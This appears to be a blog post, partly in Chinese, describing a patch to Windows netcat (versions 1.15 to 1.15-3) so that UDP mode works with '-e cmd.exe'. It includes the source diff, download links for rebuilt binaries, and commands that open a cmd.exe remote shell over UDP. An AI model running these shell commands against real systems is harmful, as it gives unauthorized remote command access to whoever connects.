update netcat 1.14 to 1.15 to support nc -u -lp port -e cmd.exe

更新说明：netcat-1.14之前的版本不支持udp模式下得到一个shell，既同时使用-u选项和-e选项。

netcat-1.15下可以，使用如下：

1.nc -ulp port -e cmd.exe    nc -u ip port

2.nc -ulp port     nc -u ip port-e cmd.exe

nc115.rar by chenghao0511#gmail.com

http://pan.baidu.com/share/link?shareid=470304&uk=453348606

http://www.kuaipan.cn/file/id_9282957629980996.htm

update netcat 1.14 to 1.15

modify by chenghao0511#gmail.com 2013/05/11

why?

netcat 1.14 can not support :
nc -u -lp port -e cmd.exe
nc -u ip port

how to update:(in doexec.c in SessionWriteShellThreadFn)

-    BYTE    RecvBuffer[1];

+    BYTE    RecvBuffer[8192];

-     BYTE    Buffer[BUFFER_SIZE];

-    while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {

+    while ((BufferCnt = recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0)) != 0) {

-        Buffer[BufferCnt++] = RecvBuffer[0];

-        if (RecvBuffer[0] == '\r')
-                Buffer[BufferCnt++] = '\n';

        // Trap exit as it causes problems
-        if (strnicmp(Buffer, "exit\n", 5) == 0)
-            ExitThread(0);



        //
        // If we got a CR, it's time to send what we've buffered up down to the
        // shell process.
        // SECURITY FIX: CW 12/27/04 Add BufferCnt size check.  If we hit end of buffer, flush it
        if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
            if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,
                            &BytesWritten, NULL))
            {
                break;
            }
            BufferCnt = 0;
        }


changed to：

        //if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
            if (! WriteFile(Session->WritePipeHandle, RecvBuffer, BufferCnt,
                            &BytesWritten, NULL))
            {
                break;
            }
            BufferCnt = 0;

        //}

（13-05-14）更新说明：更正了本地输入exit后，远程退出，本地不退出的情况，udp不是面向连接的所以，对方关闭套接字，己方不会自动关闭套接字，需要自己选择一个时机退出。

    rr = send (fd, zp, rr, 0);    /* one line, or the whole buffer */
+        if (strnicmp(zp, "exit\n", 5) == 0) /* UDP after input "exit",break! by chenghao0511 2013-05-14*/
+           if(o_udpmode)
+              break;

netcat 1.15-2 by chenghao0511

netcat-1.152可以用

nc -C -uip port -e cmd.exe

nc -ulp port

http://pan.baidu.com/share/link?shareid=476358&uk=453348606

http://www.kuaipan.cn/file/id_9282957629981000.htm

netcat-1.152的情况下，既UDP模式下，可以内网ip和外网ip相互通信。

netcat 1.13-3对-u参数既UDP模式下crtl+c进行了出来，本地发送"exit\n"到远端。

netcat 1.15-3 by chenghao0511